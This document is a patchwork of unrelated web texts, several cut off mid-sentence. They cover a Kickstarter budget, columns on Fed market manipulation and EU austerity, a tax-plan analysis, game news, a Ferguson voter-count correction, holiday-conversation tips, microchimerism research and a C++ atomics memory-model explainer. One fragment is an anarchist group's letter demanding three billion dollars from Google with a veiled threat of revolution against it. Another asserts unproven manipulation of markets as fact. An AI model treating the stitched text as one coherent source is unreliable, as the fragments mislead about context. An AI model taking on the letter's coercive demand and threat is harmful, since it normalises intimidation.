So, if we get the £4000, what are we going to spend it on? Well, thankfully we have this handy pie chart to show you! But let's break it down a bit. So, we shall be spending:
Cast - £1000
Equipment - £500
Locations & Transport - £1000
Catering - £500
Art Design - £400
Festival Release - £450
Music - £150
With all of this combined, we feel that we can make a really strong film! But obviously, we need your help for that so...
Why Kickstarter?
We're really limited by our budget, so that's why we've come to you!
If you guys believe we can do something with this film, please share this page so we can get this film out to more people, and if you really like it, maybe grab one of our rewards!
Thanks!Manipulations Rule The Markets — Paul Craig Roberts
Manipulations Rule The Markets
Paul Craig Roberts
The Federal Reserve’s announcement on December 18 that beginning in January its monthly purchases of mortgage-backed financial instruments and US Treasury bonds would each be cut by $5 billion is puzzling, as is the financial press’s account of the market’s response.
The Federal Reserve conveys a contradictory message. The Fed says that improvements in employment and the economy justify cutting back on bond purchases. Yet the Fed emphasizes that it is maintaining its commitment to record low interest rates “well past the time that the unemployment rate declines below 6.5 percent, especially if projected inflation continues to run below the [Open Market] Committee’s 2 percent longer-run goal. When the Committee decides to begin to remove policy accommodation it will take a balanced approach consistent with its longer-run goals of maximum employment and inflation of 2 percent.”
The last sentence in the quote states that the Fed does not regard its announced reduction in bond purchases as less accommodation or as a move toward tightening. In other words, the Fed is saying that tapering does not mean less accommodation.
To put it another way, the Fed is saying that the economy is doing well enough not to require the same amount of monthly bond purchases, but is not doing well enough to stand any change in the near zero nominal federal funds rate. The implication is that the Fed either does not think that a reduction in purchases will result in a rise in long-term interest rates or that such a rise will not derail the economy as long as the Fed keeps short-term rates at or near zero. If the $10 billion decrease in monthly bond demand results in higher long-term interest rates, what good does it do to keep the federal funds rate at zero? If the $10 billion monthly bond purchases were not needed as part of the accommodation policy, why was the Fed purchasing them?
Possibly the Fed thinks that Congress has taken steps to reduce the federal deficit, which would result in a reduced supply of bonds to match the Fed’s reduced demand for bonds, but the Fed’s statement makes no reference to federal deficit reduction, which is probably a smoke and mirrors change instead of a real one.
Moreover, the Fed’s outlook for the economy is mixed. The Fed says that “recovery in the housing sector slowed somewhat in recent months,” so why reduce purchases of mortgage-backed financial instruments? And surely the Fed is aware that the U3 unemployment rate has declined because discouraged workers who cannot find a job are not counted among the unemployed. As all measures show, real median family income and real per capita income are lower today than in 2007, and real consumer credit is not growing except for student loans. Without rising aggregate demand to drive the economy, why does the Fed see a recovery instead of faulty statistical measures that do not accurately portray economic reality?
The financial media’s reporting on the stock market’s response to the Fed’s announcement has its own puzzles. I have not seen the entirety of the news reports, but what I have seen says that the equity market rose because investors interpreted the reduction in bond purchases as signaling the Fed’s vote of confidence in the economy.
Previously when the Fed announced that it might cut back its bond purchases, the markets dropped sharply, and the Fed quickly back-tracked. Everyone knows that the high prices in the bond and equity markets are the result of the liquidity pouring out of the Fed and that a curtailment of this liquidity will adversely affect prices. So why this time did prices go up instead of down?
Pam Martens points out that there is evidence of manipulation. http://wallstreetonparade.com
As market data indicates, the initial response to the Fed’s announcement was a sharp move down as market participants sold stocks on the Fed’s announcement (see the chart of the Dow Jones Industrial Average in Pam Martens’ article). But within a few minutes the market changed course and rose on panic short-covering just as sharply as it had fallen.
The question is: who provided the upward push that panicked the shorts and sent the market up 292 points? Was it the plunge protection team and the NY Fed’s trading floor? Was it the large banks acting in concert with the Fed? It is hard to avoid the conclusion that this was an orchestrated event that forestalled a market decline.
Short selling in the paper gold futures market has been used to protect the US dollar’s value from being knocked down by the Fed’s Quantitative Easing. Following the Fed’s December 18 announcement, another big takedown of gold was launched.
William Kaye had predicted the takedown in advance. He noticed that the ETF gold trust GLD experienced a sudden loss in gold holdings as shares were redeemed for gold. Only the large Fed-dependent bullion banks can redeem shares for gold. Possession of physical gold allows the short-selling that drives down the gold price to be covered.
http://kingworldnews.com/kingworldnews/KWN_DailyWeb/Entries/2013/12/17_Absolutely_Shocking_Developments_In_The_War_On_Gold.html
Bloomberg reports that gold is exiting the West. It has been shipped out to Asia. You explain, dear reader, how the price of gold can fall so much in the West while the supply of gold dries up. http://www.bloomberg.com/video/what-s-happening-to-all-the-gold-d33u1c23SDqA0p0e~9_INw.html
In a few days prior to the Fed’s tapering announcement, GLD was drained of 25 tonnes of gold by primary bullion banks, JP MorganChase, HSBC, Deutsche Bank, Goldman Sachs, and Citicorp. As Dave Kranzler pointed out to me, these banks happen to be the biggest players in the OTC derivatives market for precious metals. HSBC is the custodian of the GLD gold and JPM is the custodian of SLV silver. HSBC and JPM are two of the three primary custodial and market-making banks for Comex gold and silver.
The conclusion is obvious. QE helps the big banks, and manipulation of the gold price downward protects the US dollar from its dilution by QE.
The Fed’s reduced bond purchasing announced for the New Year still leaves the Fed purchasing $900 billion worth of bonds annually, so obviously the Fed does not think that everything is OK. Moreover, the Fed has other ways to make up for the $120 billion annual reduction, assuming the reduction actually occurs. The prospect for tapering is dependent on the US economy not sinking deeper into depression. Massaged “success indicators” such as the unemployment rate, which is understated by not counting discouraged workers, and the GDP growth rate, which is overstated with an understated measure of inflation, do not a recovery make. No other economic indicator shows recovery.
Until a whistleblower speaks, we cannot know for certain, but my conclusion is that the Fed understands that it must protect the dollar from being driven down by QE and that the orchestrated takedowns of gold are part of protecting the dollar’s value, and perhaps also the cutback in QE is a part of the protection by signaling an end of money creation. The Fed also understands that it cannot forever drive down the gold price and that it cannot forever pour liquidity into stock and bond markets. To retreat from this policy without crashing the edifice requires successful orchestrations. Therefore, we are likely to experience more of them in the days to come.
Allegedly, the US has free capital markets, and globalism is bringing free capital markets to the world. In actual fact, US capital markets are so manipulated–and now by the authorities themselves–that manipulation cannot stop without a crash.
What American “democratic capitalism” has brought to the world is manipulated financial markets and the absence of democracy. How long this game can play depends on the outside world.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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In June 1964, in a conversation with the Greek ambassador to Washington, President Lyndon Johnson gave free rein to his views on Greek sovereignty. “Fuck your Parliament and your Constitution…. We pay a lot of good American dollars to the Greeks, Mr. Ambassador. If your prime minister gives me talk about democracy, Parliament and Constitution, he, his Parliament and his Constitution may not last very long.” Ad Policy
Johnson had a notorious potty mouth. The leaders of the European Union are less blunt (being translated into twenty-three languages is an incentive to mind your language). But their frosty response to Greek Prime Minister George Papandreou, after he called for a national referendum to approve their austerity package, left little doubt about what they think of Greece’s right to self-determination. Responses ranged from the condescending to the baffled. “Totally irresponsible,” said French legislator Christian Estrosi. “I truly fail to understand what Greece intends to have a referendum about. Are there any real options?” asked Swedish Foreign Minister Carl Bildt.
Johnson made good on his promise. Within three years Greece found itself under a brutal US-backed military junta from which it did not emerge until 1974. This time around, the EU pledged banishment and penury if Greece strayed from the script. The Greek political class fell back into line. Papandreou resigned so that technocrats could take over. At the time of this writing the issues were when and how Greece will implode, and the scale and pace at which Italy will follow. Europe the continent is in trouble; Europe the project faces an existential threat.
That’s bad news for everyone, including Americans. Just as property binges in Las Vegas and Florida have spurred childcare cuts in Denmark and rent hikes in Portugal, so the collapse of the eurozone could have severe implications for police overtime in St. Louis and road-building in North Carolina. And Europe’s problems are essentially the same as those blighting the rest of the world: a crisis of economics exposed and underpinned by a crisis in democracy, both precipitated by the corrupt collusion of financial and political elites. For Europe, as for the United States, the result has been paralysis where decisive action was needed.
The crisis in economics is not difficult to fathom. A number of European countries took advantage of the low interest rates offered by their membership in the eurozone to borrow heavily. Banks across the continent lent freely. (Sound familiar?) Now some of the countries and many of the banks are broke. Initially, this was understood as a serious but containable irritation. Since the rescue of any one of the countries in question would not be too costly and the default of any would have raised serious questions about the viability of the euro, they were regarded as too small to allow to fail. Greece has the eighth-largest economy in the seventeen-member eurozone, with an economy one-tenth the size of Germany’s: Portugal and Ireland are tenth and eleventh. All put together, they have a GDP roughly the size of Florida.
The EU was intent on saving not the countries but the euro from contagion. Indeed, the collapse of the euro was so unthinkable that the European political class refused even to entertain the notion that there was a serious problem. Apparently they were the last to realize that Greece was headed for default. Their refusal to face facts devalued the most precious currency they had: credibility. Soon Spain was in the markets’ sights; now it’s Italy—the zone’s fourth- and third-largest economies, respectively.
By now the depth of the political problem has become apparent. The EU and the European Central Bank have no mechanisms, democratic or otherwise, to deal with the crisis. The eurozone and the larger, twenty-seven-nation EU have pooled pretty much everything apart from accountability. The nation-state still has authority, even though the EU has the power. “The crisis,” argued Italian Communist Antonio Gramsci, “consists precisely in the fact that the old is dying and the new cannot be born.”
It’s not just the markets that don’t believe the EU is capable of steering the continent out of this mess. Nobody does. The leaders of Germany, France, Italy and Spain are all suffering record low approval ratings at home. For the past few years at summits and bilateral meetings, they have cooked up rescue plans and then rammed them down the throats of supplicant nations. If the patient gagged, they simply waited a short while and tried again. The cynicism, anger and alienation this has engendered is difficult to overstate. Take Portugal. In March Prime Minister Jose Socrates resigned after his austerity plan was rejected, triggering an election that could not take place for two months. In the interim he remained acting prime minister, and reached an agreement with the EU and the International Monetary Fund for a €78 billion bailout. The terms were almost exactly the same as those Socrates had proposed and the Portuguese Parliament rejected six weeks earlier. When the elections finally took place, the turnout, at 58 percent, was the lowest in Portugal’s democratic history. “[When people] see the prime minister go to Brussels to announce austerity measures, they understand that the government itself decides very little,” political analyst Marina Costa Lobo told AFP.
The one thing standing in the way has been the people who have to live with the cuts imposed from without. It is their resistance, and their lack of any democratic connection to the EU, that keeps scuppering the deals. That is precisely why the prospect of a referendum in Greece was so terrifying. Papandreou thought there was a real chance of gaining grudging but popular support for the austerity measures. But Europe doesn’t work like that.
“It’s a big mess,” said Roberto D’Alimonte, a political science professor at LUISS Guido Carli University in Rome. “I don’t think it’s that the markets are too strong, but that democracy is weak.”The TPC noted that its analysis involved some guesswork, given that the Republican framework contained very little detail and was missing many crucial numbers—including where each tax bracket would start and end, and even how many brackets there would be. The think tank filled in the blanks with numbers from prior Republican proposals, with its projections then showing modestly wealthy and upper-middle-class families getting hit with tax hikes, lower-income and middle-class families provided with small tax cuts, and the very rich and big businesses benefiting far and away the most.
Given the plan’s piddling cuts for middle-income families, as well as the intensity of tax-reform negotiations more generally, much of the plan is likely to change in the coming months. Some Republicans, for instance, are already pushing back on a provision that would eliminate the deduction for state and local taxes.
Though Republicans have insisted that the tax plan is not a cut for the rich, the proposal includes large rate cuts, the creation of a significant tax loophole for so-called “pass-through” business filers, the elimination of the estate tax, and the repeal of the alternative minimum tax. It also maintains incentives for charitable giving, mortgage interest, retirement savings, and education—all of which are most beneficial to the rich. “It’s hard to see, if you continue to have those provisions in a tax proposal,” how it would not disproportionately aid top earners, Mark Mazur, the director of the TPC, said on a call with reporters.
Even though the plan eliminates many other tax breaks, the richest of the rich would still come out far, far ahead, indeed the farthest ahead, the TPC found. Taxpayers in the top 1 percent, with incomes above $730,000 a year, would gain half of the overall benefits in 2018, with their average post-tax incomes jumping almost 9 percent. More than 97 percent of filers in the top 0.1 percent would see a tax cut due to the Trump plan—and a very large one, worth an average of $747,580—compared with about 70 percent of the poorest households.
Despite his statement in Indiana, Trump himself would almost certainly see his own tax bill shrink, possibly by more than $1 billion over time, a New York Times analysis found. Repealing the alternative minimum tax would have saved him an estimated $31 million on his 2005 return, and the creation of the pass-through loophole $25 million. But the bulk of his tax savings would come from the elimination of the estate tax, which as currently constructed would put a 40-percent levy on his estimated $3 billion in assets upon his death. (Granted, that accounting is tenuous, given that Trump still refuses to release his tax returns, unlike all modern-day presidents before him.)
Moreover, America’s richest would likely benefit disproportionately from the huge corporate tax cuts in the bill. Shareholders, rather than workers and consumers, end up footing the bill for or benefiting from changes in corporate taxes, most economists agree. (Kevin Hassett, the chairman of Trump’s Council of Economic Advisors, is a notable dissenter, arguing that workers bear the brunt of the corporate income-tax burden.) The Republican plan to slash the corporate tax rate to 20 percent from 35 percent, exempt foreign profits from taxation, and grant a special one-time, low-rate “holiday” to encourage companies to repatriate money from overseas would likely be a huge boon to America’s shareholders—meaning, overwhelmingly, older and richer Americans."We don't support piracy, but currently there isn't a good way to stop it without hurting our customers," Flying Wild Hog developer Krzysztof “KriS” Narkowicz "We don't support piracy, but currently there isn't a good way to stop it without hurting our customers," Flying Wild Hog developer Krzysztof “KriS” Narkowicz wrote on the game's Steam forum (in response to a question about trying to force potential pirates to purchase the game instead). "Denuvo means we would have to spend money for making a worse version for our legit customers. It's like this FBI warning screen on legit movies."
Expanding on those thoughts in Expanding on those thoughts in a recent interview with Kotaku, Narkowicz explained why he felt the DRM value proposition wasn't worth it. "Any DRM we would have needs to be implemented and tested," he told Kotaku. "We prefer to spend resources on making our game the best possible in terms of quality, rather than spending time and money on putting some protection that will not work anyway."
“The trade-off is clear,” Flying Wild Hog colleagues Artur Maksara and Tadeusz Zielinski added. "We might sell a little less, but hey, that’s the way the cookie crumbles!"
In any case, at least one more major PC developer is now on record as leaving the whole game of cat-and-mouse with DRM behind, relying on fans to buy the game because they want to, rather than because of technology that forces them away from pirated versions. "We hope that our fans, who were always very supportive, will support us this time as well," Zielinski told Kotaku. "...In our imperfect world, the best anti-pirate protection is when the games are good, highly polished, easily accessible and inexpensive," Maksara added.
In our recent review, we praisedShadow Warrior 2for its varied weapons, random level generation, and over-the-top shooting. Apparently, the game has another feature that's sure to draw praise from many gamers: a complete lack of piracy protection or digital rights management, which the developers apparently think is a waste of time.JEFFERSON CITY, Mo. -- St. Louis County election officials say an error led them to significantly overstate the number of newly registered voters following the fatal police shooting of an unarmed black teenager.
County elections director Rita Heard Days said Tuesday that an additional 128 people registered to vote in Ferguson from Aug. 11 through Monday.
That's a far cry from the 3,287 new Ferguson voters the county reported last week, according to CBS station KMOX in St. Louis.
"We provided what we thought was an accurate number based on the report from our statewide database," Days said in a statement Tuesday. "A discrepancy was identified in the report that provided us with the numbers we released to you last week. Those numbers were not accurate and we apologize for any inconvenience this may have caused."
Marquis Govan, 11, talks of justice in Ferguson
Brown was shot to death Aug. 9 by Ferguson police officer Darren Wilson, who is white. The killing sparked weeks of civil unrest, and some activists led voter registration drives in an attempt to reshape local government.
2010 Census Bureau statistics show that two-thirds of the people who live in Ferguson are black. By contrast, the mayor and all but one member of the city council are white, and there are only a handful of non-white officers on the police force. The grand jury investigating the Brown case has six white men, three white women, two black women and one black man.
Days said the updated number was determined after several days of meetings with the Missouri Secretary of State's office.Recently backed for release on Steam Greenlight, Stairs, a horror game by Greylight Entertainment aims to bring back the classic atmospheric horror genre. With the huge success of the Five Night’s at Freddy’s series, horror games often fall back on jump scares in order to make their player’s trousers brown. Stairs takes horror games back to their roots. Slow build ups and terrifying release.
There are plenty of clichés in Stairs, but they are also matched by Greylight’s level of innovation. While the demo shows a lone man wandering around an abandoned warehouse on the search for clues as to the disappearance of three people, there is promise of more stories that intertwine to make the picture whole and unique. The build-up is incredibly slow which only intensifies the horror effect as you wait to meet your monster. Disembodied voices work to give some of the storyline and build the tension of your creepy surroundings.
While the graphics aren’t anything special, the sounds really makes the game, as they add to the intensity of the title in all the right ways. The silence is as important as the clangs and creaks are, as they work together to give you a sense of unease. There were two things which stood out to me about the game, which made it worthy of previewing. The first was the choice to shy away from jump scares and focus on building atmosphere. At one point in the demo your flashlight runs out and you are left with only your camera flash which created a lighting effect so terrifying I almost closed my laptop in order to go change my pants. Strobe lights are a perfect hunting ground for the jump scare, and yet Greylight shied away from the obvious in order to continue building tension.
The second was the puzzle element. There are several puzzles which need to be solved in order to escape the warehouse and the story builds the more you discover. This game encourages exploration with plenty of rooms to uncover, even in the 20 minute demo. While I’m not a fan of first person at all, even I have to agree with the decision here. Stairs pretty much pulls off everything I would want in a horror game perfectly.
Stairs is still in the pre-alpha and set for release in August. You can find out more about the title from the Steam page and even play the demo for yourself.
Would you be interested in playing Stairs?
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!Jenny Chang / BuzzFeed Life
This time of year, many of us will make a pilgrimage to see our families. Halls will be decked, candles will be lit, and ancient stories will be told. Hopefully everything for you will be hugs, warmth, light, and reconnection with the people you love. But if you are dreading dealing with that one jerk relative or bracing yourself for an onslaught of intrusive questions and and awkward topics, here's a guide to keeping your cool and choosing your battles when everyone around you is making it weird.
1. "What are you doing for the holidays?" If this is a happy and important time of year for you, this question is routine pleasant small talk. For people with dysfunctional families or people going through hard times — not to mention the giant swath of the world's population that celebrates their major holidays at other times of year — this question registers somewhere between "total non sequitur" and "Welp, thanks for the reminder." We who celebrate should celebrate, but we also need to make room in our celebrations for other people's realities, even if that means making room for grief or pain.
If this time of year is hard for you or unimportant to you, here are completely acceptable things to say: • "I don't really celebrate, but tell me what you like to do." • "That's a painful subject just now, thanks for understanding. But tell me more about your celebration!" • If someone badgers you for details, they are the ones who are out of line. Just repeat yourself. "You had no way of knowing, but I really don't like to talk about it. Let's change the subject." Try to remember that most people are just making small talk and they probably don't want to upset you. Also remember that you don't owe anyone an uncomplicated life or a performance of happiness. If someone finds your holiday spirit inadequate, they are the ones making it awkward. And if you ask somebody about their plans and they don't seem excited to talk about it, take a cue from them and don't try to sell them on the season. Wish people well and let their feelings be what they are.
2. "Let's talk about the 2016 election!" Maybe some families can have constructive and respectful conversations about politics where eyes are opened and views are changed. If your family is like that, please a) ignore the following advice completely, and b) tell me all about it! I've always imagined what that might be like! If your family is not like that, and if, like me, you have EXACTLY ZERO CHILL in discussing world events right now, I want you all to raise your glass to my beloved departed Grandma Louise as you say this with me: "We have a secret ballot in this country for a reason, and we can all keep our secrets for one more [INSERT HOLIDAY] dinner." Grandpa Oscar was a walking Letter-To-The-Editor and was also one of the O.G.'s of the Cranky Old Man Internet where misinformation and 1991 church bulletin layouts live on forever, immune to all fact-checking and advances in typography. Faithfully loving that dude for 60 years meant that Grandma developed some iron-clad boundaries about how much "being talked at" she was willing to put up with.
If you are not in possession of a badass matriarch like Grandma Louise, and you have a relative who just will not STFU about politics, try these redirects: • "I'm pretty sure we disagree on a lot of things, and I don't think this is the day that either of us changes our minds. But I'm so glad to get to see you, and I really want to hear all about [MASSIVE SUBJECT CHANGE]! How's that dissertation going?" • "Hrmmmmm. I really disagree/I'm not sure that's the case/That seems like a topic for another day. Hey, I'm gonna get another drink/visit the restroom/watch the little kids open presents." • Shamelessly deflect: "You know I can talk about this stuff forever, but I promised Mom I would keep it cool today. Why don't you send me some of those articles you were mentioning and I'll send you some as well*." • Or use others as conversational shield: "Oh look, [COOL RELATIVE WHO IS NOT BADGERING EVERYBODY] is here, I haven't had a chance to say hello. Can I get you anything while I'm up?" Then get up and physically move to where Cool Relative is. *You do not have to read these articles and you can "forget" to send them articles as well. If you're dreading a day with Uncle "Gun Rights Are The ONLY Rights," sometimes the best thing you can do for yourself is to make a list of all the people at the gathering that you DO want to see, make it a point to sit next to them, and find the other people in the room who roll their eyes at Señor Talks-A-Lot. A problem shared is a problem halved, as the proverb says. A jackass ignored is a jackass... neutralized? Avoided? A jackass ignored makes your holiday better.
3. "You look like a captive audience for my bigoted views!" Sometimes it's best to change the subject, de-escalate, or otherwise "grace |
it was okay to punch her “tit.” Kevin took it all a step further when he connected the expression tit-for-tat to their discussion and then announced, while making a cutting motion, “it hurts them, it does too – or take a scissors to the tit.” His comment was met with widespread criticism and Kevin became the poster boy for tech-misogyny, even after he apologized by saying, “obviously, violence against women is serious and something we don’t advocate in any way.”
Eventually the world forgot all about Kevin Rose and Digg and Diggnation. Around that time, Kevin and some of his bros started a company called Milk. This company in turn created an app called Oink. This app allowed anyone to take out their smart-phone and see a map of every nearby restaurant, café, and bar with ratings of specific items at each establishment. In essence, Oink allowed people to consume more according to their own specific tastes and needs, allowing them to browse prices and rank establishments.
Oink meant to capitalize on the way people tend to listen to the recommendations of friends by convincing them to use an ad-laden platform, rather than go out together or discuss favorite restaurants in conversation. Through mechanisms like Oink, Yelp, and Foursquare, people can now drive down business in establishments that no longer serve their luxurious needs by mobbing them with unfavorable reviews and rankings.
And then one day in March 2012, it was announced that Kevin and half of the Milk team were to become Google employees. The Oink app was terminated and Kevin briefly worked at Google+ before moving on to Google Ventures. Based on the various startups that he has funded through Google Ventures or on his own, we can see more disturbing evidence of Kevin’s technological derangement.
Nextdoor.com is a website that helps alienated urban and suburban home-dwellers learn about their neighbors and network their private surveillance feeds together. Like some of Kevin’s other investments, Nextdoor allows residents who use the website to gang up on anyone they do not like (or who does not have a Nextdoor account) and hound them into compliance or eviction. It allows the alienated to connect with others like them who would rather electronically complain than speak to an offline neighbor in real life. Nextdoor.com is a major new platform for the snitch-world, a bubble machine for people who never learned social skills. And it is something Kevin Rose and Google think is a really good idea.
But let’s take another one of Kevin’s investments, the popular app Foursquare. A previous manifestation of it, Dodgeball, was bought by Google in 2005 but then terminated in 2009. That year, the creators of Dodgeball started their new Foursquare app and by 2012 they had collected over 45 millions users. The app allows disconnected and alienated smartphone users to check-in to restaurants, hotels, and bars and in the process alert other Foursquare users of their location. In the world of this app, people can become the “mayor” of an establishment based on how often they check-in and how many “badges” they earn.
After performing fellatio on Foursquare for ten ridiculous pages in his book Smart Cities, Anthony M. Townsend writes, “the city of Foursquare might look like a lattice, but is it becoming an elaborate tree traced by hidden algorithms? Instead of urging us to explore on our own, will it guide us down a predetermined path based on what we might buy?” The answers to his questions are an undeniable yes. Foursquare gathers isolated and unimaginative people and gives them a way to connect without having to think beyond a glance at the food rankings on their smartphones. The system through which Foursquare enables people to connect is called the capitalist system and thus Foursquare will always connect people as consumers, customers, and tippers. It was designed to do this and nothing else.
Kevin Rose: OK Glass, Now Take Over The World!
Unfortunate people like Kevin Rose have never known a world without capitalism and in their ignorance they only know how to fortify it. Everything they do helps to extend the suicidal reign of this world system that renders all life into a commodity and replaces real life with digital distractions that lead people into narcosis, gluttony, and sociopathic greed. Kevin Rose and his employers at Google represent one part of a larger structure that keeps people enslaved to this single economic system that is literally killing the planet and decreasing the chances of continued life.
Tech entrepreneurship is not a harmless or benevolent force. The industry is built directly on the exploitation of millions of faceless people in the global south who are driven off their land and forced to do the dangerous and thankless work of extracting (at great ecological cost) the precious metals and other raw materials that enable the tech world to exist. Once the technology has been shoved down our throats through merciless advertising campaigns, mandatory cell phone upgrades, and jobs requiring instant connectivity of smartphones, we find ourselves tied to their world.
Unlike us, this beast has a head that can be targeted. Kevin Rose and other venture capitalists like him literally design and implement this entire exploitive system. They do it because they are drunk on their own power, caught up in a sense of importance bestowed upon them by the type of wealth most of us will never interact with. Kevin Rose will rise and fall with the elites of the dominant order. While we struggle to be included in the trickle-down of wealth through dehumanizing menial labor, these techies, entrepreneurs, and capitalists take over the world. Knowing that at the vanguard of this tech invasion are people like Kevin Rose only increases our desire to completely stop the current insanity.
Taken as a whole, Kevin Rose invests in startups that perpetuate the process of alienation under the guise of social technology. It is, admittedly, genius: create the technological conditions of alienation that drive people to desperately consume technological products that claim to combat the alienation produced by contemporary technological society. Tech is now about creating and selling the new indispensable commodity that everyone must have in order to be less bored, less lost, less ridden with anxiety. We want no part of this disgusting and creepy game being played by a bunch power deranged man-children.
To this end, we now make our first clear demand of Google. We demand that Google give three billion dollars to an anarchist organization of our choosing. This money will then be used to create autonomous, anti-capitalist, and anti-racist communities throughout the Bay Area and Northern California. In these communities, whether in San Francisco or in the woods, no one will ever have to pay rent and housing will be free. With this three billion from Google, we will solve the housing crisis in the Bay Area and prove to the world that an anarchist world is not only possible but in fact irrepressible. If given the chance, most humans will pursue a course towards increased freedom and greater liberty. As it stands, only people like Kevin Rose are given the opportunity to reshape their world, and look at what they do with those opportunities.
We know that your security advisors are taking our analysis seriously, so if you are confident that your system is the best, it would be wise to give us three billion to see if we fail. Our wager is that you are scared of the viable alternative we would create. If you are not scared, contact us at our WordPress website. Send us a message and we can go from there. Otherwise, get ready for a revolution neither you nor we can control, a revolution that will spread to all of the poor, exploited, and degraded members of this new tech-society and be directed towards you for your bad decisions and irresponsible activities. We advise you to take us seriously.
For a world without bosses, rulers, or cops! Down with the Empire, up with the Spring!
-The Counterforce
PS: The following devices and programs were used in this action: Microsoft Word (for Mac) MacBook Samsung Nexus (powered by Google) Gmail Youtube Electrical SocketScientists don’t know for certain what biological mechanisms cause these findings, but past research suggests microchimerism may boost immune surveillance—that is, the body’s ability to recognize and destroy pathogens and cells that might become cancerous—and also play a role in the repair of damaged tissue, helping form new blood vessels to heal wounds. Microchimerism is also associated with a lower risk of Alzheimer’s disease and breast cancer.
These fetal cells migrate all over a mother’s body, becoming part of the heart, the brain, and blood—and fascinating scientist and artists alike. Writer Sarah Gerkensmeyer, mother of two sons, says she likes to think that they never completely left her, and that microchimerism from her younger son Charlie, born in 2011, helped give rise to her short story collection.
“When I was pregnant with him, those weird stories were in me, washing around and fusing together right alongside my developing son,” she wrote last year. “It’s a nice, strange thought, isn’t it? That he gave me those stories to tell.”
Some journalists have asked if the presence of male cells can cause women to think differently, said Mads Kamper-Jørgensen, an associate professor of public health at the University of Copenhagen and the lead author of the International Journal of Epidemiology study.
The answer: No. He also noted that the health benefits of microchimerism are the same whether the cells are male or female. “Sons aren’t any better than daughters.”
The reason why much of the research has focused on microchimerism stemming from males, he explained, is because of the ease in measurement. In blood samples, male Y chromosomes stand out among a woman’s XX. By comparison, finding a daughter’s genetically distinct cells in a mother is expensive and difficult because the chromosomes are all XX. Detecting microchimerism in men is also a challenge, because the female X chromosomes are hard to differentiate from the male XY. (Microchimerism is probably more frequent in women, because pregnancy is a natural avenue for transferring cells, but individuals may also pick up genetically distinct DNA after an organ transplant or transfusions, or in utero if they had a twin.)
A 2004 study found the presence of male genes in 21 percent of women overall—even among those who had only given birth to daughters, had a miscarriage, underwent an abortion, or had never been pregnant. Researchers speculate the unknown DNA could have come from a miscarriage these women never recognized, or from an older brother who transferred cells to their mother, who in turn passed the genes onto subsequent children. Or—here’s where the science starts to feel like sci-fi—women could have picked it up through sexual intercourse, traces of past lovers never lost.
Though the idea is intriguing, it’s also “sort of impossible” to study, Kamper-Jørgensen said, because of the intimate details participants would have to agree to share, and the testing that would have to begin even before women have sexual intercourse and after each new partner.Memory model synchronization modes
This is the area most people find confusing when looking at the memory model. Atomic variables are primarily used to synchronize shared memory accesses between threads. Typically one thread creates data, then stores to an atomic. Other threads read from this atomic, and when the expected value is seen, the data the other thread was creating is going to be complete and visible in this thread. The different memory model modes are used to indicate how strong this data-sharing bond is between threads. Knowledgeable programmers can utilize the weaker models to make more efficient software.
Each atomic class has a load() and a store() operation which is utilized to perform assignments. This helps make it clearer when atomic operations are being performed rather than a normal assignment.
atomic_var1.store (atomic_var2.load()); // atomic variables vs var1 = var2; // regular variables
These operations also have a second optional parameter which is used to specify the memory model mode to use for synchronization.
There are 3 modes or models which allow the programmer to specify the type of inter-thread synchronization.
Sequentially Consistent
The first model is “sequentially consistent”. This is the default mode used when none is specified, and it is the most restrictive. It can also be explicitly specified via std::memory_order_seq_cst. It provides the same restrictions and limitation to moving loads around that sequential programmers are inherently familiar with, except it applies across threads.
-Thread 1- -Thread 2- y = 1 if (x.load() == 2) x.store (2); assert (y == 1)
Although x and y are unrelated variables, the memory model specifies that the assert cannot fail. The store to 'y' happens-before the store to x in thread 1. If the load of 'x' in thread 2 gets the results of the store that happened in thread 1, it must all see all operations that happened before the store in thread 1, even unrelated ones. That means the optimizer is not free to reorder the two stores in thread 1 since thread 2 must see the store to Y as well.
This also applies to loads as well:
a = 0 y = 0 b = 1 -Thread 1- -Thread 2- x = a.load() while (y.load()!= b) y.store (b) ; while (a.load() == x) a.store(1) ;
Thread 2 loops until the value of 'y' changes, and proceeds to change 'a'. thread 1 is waiting for 'a' to change.
When normally compiling sequential code, the 'while (a.load() == x)' in thread 1 looks like an infinite loop, and might be optimized as such. Instead, the load of 'a' and comparison to 'x' must happen on each iteration of the loop in order for thread 1 and 2 to proceed as expected.
From a practical point of view, this amounts to all atomic operations acting as optimization barriers. If one could imagine atomic loads and stores as function calls with unknown side effects, this would model the effects in the optimizers. Its OK to re-order things between atomic operations, but not across the operation. Thread local stuff is also unaffected since there is no visibility to other threads.
This mode also provides consistency across all threads. Neither assert in this example can fail (x and y are initially 0):
-Thread 1- -Thread 2- -Thread 3- y.store (20); if (x.load() == 10) { if (y.load() == 10) x.store (10); assert (y.load() == 20) assert (x.load() == 10) y.store (10) }
It seems reasonable to expect this behaviour, but cross thread implementation requires the system bus to be synchronized such that thread 3 actually gets the same results that thread 2 observed. This can involve some expensive hardware synchronization.
This mode is the default for good reason, programmers are far less likely to get unexpected results when this mode is in use.
Relaxed
The opposite approach is std::memory_order_relaxed. This model allows for much less synchronization by removing the happens-before restrictions. These types of atomic operations can also have various optimizations performed on them, such as dead store removal and commoning.
So in the earlier example:
-Thread 1- y.store (20, memory_order_relaxed) x.store (10, memory_order_relaxed) -Thread 2- if (x.load (memory_order_relaxed) == 10) { assert (y.load(memory_order_relaxed) == 20) /* assert A */ y.store (10, memory_order_relaxed) } -Thread 3- if (y.load (memory_order_relaxed) == 10) assert (x.load(memory_order_relaxed) == 10) /* assert B */
Since threads don't need to be synchronized across the system, either assert in this example can actually FAIL.
Without any happens-before edges, no thread can count on a specific ordering from another thread. This can obviously lead to some unexpected results if one isn't very careful. The only ordering imposed is that once a value for a variable from thread 1 is observed in thread 2, thread 2 can not see an “earlier” value for that variable from thread 1. ie, assuming 'x' is initially 0:
-Thread 1- x.store (1, memory_order_relaxed) x.store (2, memory_order_relaxed) -Thread 2- y = x.load (memory_order_relaxed) z = x.load (memory_order_relaxed) assert (y <= z)
The assert cannot fail. Once the store of 2 is seen by thread 2, it can no longer see the value 1. This prevents coalescing relaxed loads of one variable across relaxed loads of a different reference that might alias.
There is also the presumption that relaxed stores from one thread are seen by relaxed loads in another thread within a reasonable amount of time. That means that on non-cache-coherent architectures, relaxed operations need to flush the cache (although these flushes can be merged across several relaxed operations)
The relaxed mode is most commonly used when the programmer simply wants an variable to be atomic in nature rather than using it to synchronize threads for other shared memory data.
Acquire/Release
